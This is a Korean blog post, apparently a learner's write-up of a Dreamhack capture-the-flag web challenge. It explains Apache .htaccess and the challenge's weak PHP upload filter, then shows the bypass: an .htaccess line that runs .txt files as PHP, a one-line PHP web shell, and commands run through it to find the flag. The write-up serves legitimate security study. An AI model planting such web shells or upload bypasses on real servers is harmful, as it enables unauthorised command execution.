Dreamhack/Dreamhack Wargame (Challenge)

[74] IT 비전공자 [dreamhack]Apache htaccess문제 풀기

imaginefuture-1 2024. 11. 22. 11:57

web~

 

 

apache htaccess?

 

 

 

 

**.htaccess**는 Apache HTTP Server에서 웹 서버의 동작을 제어하기 위해 사용하는 디렉토리 수준의 구성 파일입니다. .htaccess는 특정 디렉토리에 위치하며, 그 디렉토리와 그 하위 디렉토리의 설정을 제어할 수 있습니다.

.htaccess 파일은 간단한 텍스트 파일로 작성되며, 다양한 설정과 규칙을 포함할 수 있습니다. 주로 사용되는 기능은 다음과 같습니다:


1. URL 리다이렉션 및 리라이트

  • URL 리다이렉션: 특정 URL을 다른 URL로 리다이렉트합니다.
    Redirect 301 /old-page.html http://example.com/new-page.html
    
  • URL 리라이트: 사용자 친화적인 URL로 변경하거나 특정 URL 패턴을 다른 서버 경로로 매핑합니다.
    RewriteEngine On
    RewriteRule ^products/(.*)$ /show-product.php?name=$1 [L]
    

2. 접근 제어

  • 특정 IP 주소나 사용자 에이전트의 접근을 차단하거나 허용할 수 있습니다.
    Order Deny,Allow
    Deny from 192.168.1.100
    Allow from all
    
  • 비밀번호 보호: 특정 디렉토리에 비밀번호를 설정할 수 있습니다.
    AuthType Basic
    AuthName "Restricted Access"
    AuthUserFile /path/to/.htpasswd
    Require valid-user
    

3. 기본 문서 설정

  • 특정 디렉토리의 기본 파일을 지정합니다.
    DirectoryIndex index.html index.php
    

4. MIME 타입 설정

  • 특정 파일 확장자에 MIME 타입을 설정합니다.
    AddType application/pdf .pdf
    AddType image/svg+xml .svg
    

5. 캐싱 제어

  • 캐싱 규칙을 설정해 브라우저 캐싱을 활용하거나 캐싱을 제한합니다.
    <FilesMatch "\.(jpg|png|gif|css|js)$">
        Header set Cache-Control "max-age=2592000, public"
    </FilesMatch>
    

6. 보안 설정

  • 디렉토리 또는 파일에 대한 접근을 제한합니다.
    <Files ".htaccess">
        Require all denied
    </Files>
    
  • HTTPS 강제 적용:
    RewriteEngine On
    RewriteCond %{HTTPS} off
    RewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [R=301,L]
    

특징

  1. .htaccess는 디렉토리 수준에서 즉각적으로 변경 사항을 적용할 수 있어 빠른 설정 변경에 유용합니다.
  2. 웹 서버의 전반적인 설정 파일(예: httpd.conf)보다 우선적으로 디렉토리별 세부 설정을 제공합니다.
  3. 잘못된 설정 시 서버 성능에 영향을 미치거나 보안 문제가 발생할 수 있으니 주의가 필요합니다.

사용 주의 사항

  • 퍼포먼스: .htaccess는 파일을 매번 읽으므로, 빈번한 사용은 성능 저하를 초래할 수 있습니다. 대규모 설정은 서버의 메인 구성 파일에서 처리하는 것이 좋습니다.
  • 보안: 설정이 잘못되면 디렉토리나 파일이 노출될 수 있으므로, 파일 접근 권한을 신중히 관리해야 합니다.

파일 생성 방법

  1. .htaccess라는 이름의 파일을 텍스트 에디터로 생성합니다.
  2. 원하는 규칙을 작성한 뒤 저장합니다.
  3. 해당 파일을 Apache 서버가 사용하는 디렉토리에 업로드합니다.
  4. 서버 설정에서 .htaccess를 허용(AllowOverride All)해야 적용됩니다.

.htaccess는 Apache 서버를 유연하고 세부적으로 제어할 수 있는 강력한 도구입니다. 웹 개발 시 필요한 환경을 빠르게 설정하거나 특정 요구 사항을 처리하기에 적합합니다.

 

 

 

홈페이지다 파일 업로드가 가능하다

 

 

지구 배경사진을 업로드해본다

 

 

 

업로드됐다

 

 

 

 

클릭하니 잘 뜬다.

 

소스코드를 확인하러가보자

 

 

소스코드 index.php

 

<html>
    <head></head>
    <link rel="stylesheet" href="/static/bulma.min.css" />
    <body>
        <div class="container card">
        <div class="card-content">
        <h1 class="title">Online File Box</h1>
        <form action="upload.php" method="post" enctype="multipart/form-data">
            <div class="field">
                <div id="file-js" class="file has-name">
                    <label class="file-label">
                        <input class="file-input" type="file" name="file">
                        <span class="file-cta">
                            <span class="file-label">Choose a file...</span>
                        </span>
                        <span class="file-name">No file uploaded</span>
                    </label>
                </div>
            </div>
            <div class="control">
                <input class="button is-success" type="submit" value="submit">
            </div>
        </form>
        </div>
        </div>
        <script>
            const fileInput = document.querySelector('#file-js input[type=file]');
            fileInput.onchange = () => {
                if (fileInput.files.length > 0) {
                const fileName = document.querySelector('#file-js .file-name');
                fileName.textContent = fileInput.files[0].name;
                }
            }
        </script>
    </body>
</html>

 

upload.php

 

<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");

if (isset($_FILES)) {
    $file = $_FILES["file"];
    $error = $file["error"];
    $name = $file["name"];
    $tmp_name = $file["tmp_name"];
   
    if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
    }else {
        $temp = explode(".", $name);
        $extension = end($temp);
       
        if(in_array($extension, $deniedExts)){
            die($extension . " extension file is not allowed to upload ! ");
        }else{
            move_uploaded_file($tmp_name, "upload/" . $name);
            echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
        }
    }
}else {
    echo "File is not selected";
}
?>

 

https://st-together.tistory.com/67

 

[DreamHack] 드림핵 Apache htaccess

문제 확인 해당 문제는 필터링을 우회하여 파일 업로드를 통해 flag를 획득하는 문제이다. 서비스 분석 해당 페이지에 접속하면 아래와 같은 페이지를 확인할 수 있다. 인덱스 페이지에는 파일을

st-together.tistory.com

이 풀이 블로그 글을 보면 각 코드에 대한 설명이 잘 나와있다 굳!

 

 

해당 문제는 파일 업로드 취약점을 이용하여 웹쉘을 업로드하여 flag를 획득하여야 한다.
php로 작성된 웹 사이트이기에 php의 웹쉘을 업로드 해야 하지만 php의 다른 이름까지 필터링되어 있기에 업로드하기에 어려움이 있다.
 
이때 사용할 수 있는 방법이 문제의 제목에 나와 있듯이 htaccess파일을 통해 필터링을 우회하는 방법이다.
htaccess파일이란 간단히 설명하면 해당 디렉터리와 그 하위 디렉터리의 설정에 대해 지정하는 파일이다.
 
해당 파일을 웹쉘을 사용할 수 있도록 설정한 후 업로드를 하면 /upload 디렉터리에 htaccess파일이 저장될 것이고
저장된 htaccess파일을 통해 /upload 디렉터리는 자신이 설정한 대로 조작이 가능하게 된다.

출처ㅣ https://st-together.tistory.com/67

 

 

캬, htaccess, 즉 해당 디렉터리와, 하위 디렉터리의 설정을 마음대로 할 수 있으니 그 위 상위 upload디렉터리 설정이 마음대로 변경되는거다

 

 

본격 htaccess 파일을 만들어보자

메모장을 열고 제목은 .htaccess 내용은 AddType application/x-httpd-php .txt

업로드 후 .txt로 확장자로 끝나는 웹쉘을 업로드하면 된다

 

<?php
              echo "hello";
              system($_GET['cmd']);
?>

 

GET메서드를 통해 cmd파라미터의 값을 가져와 system함수를 사용하여 쉘 명령어를 사용할 수 있도록 하였다.
웹쉘의 정상 작동을 확인하기 위해 echo "hello"를 입력했다

 

 

굳 잘 실행한다
cmd파라미터를 이용해 id 명령어를 입력한다 ?cmd=id

 

?cmd=find/ -name "flag" 2>dev/null flag 위치를 알아냈다.

find / -name "flag" 2>/dev/null
# /경로에서부터 이름이 flag인것을 찾는다. 2>/dev/null을 통해 오류 메시지는 출력하지 않는다

출처 https://st-together.tistory.com/67

 

?cmd=/flag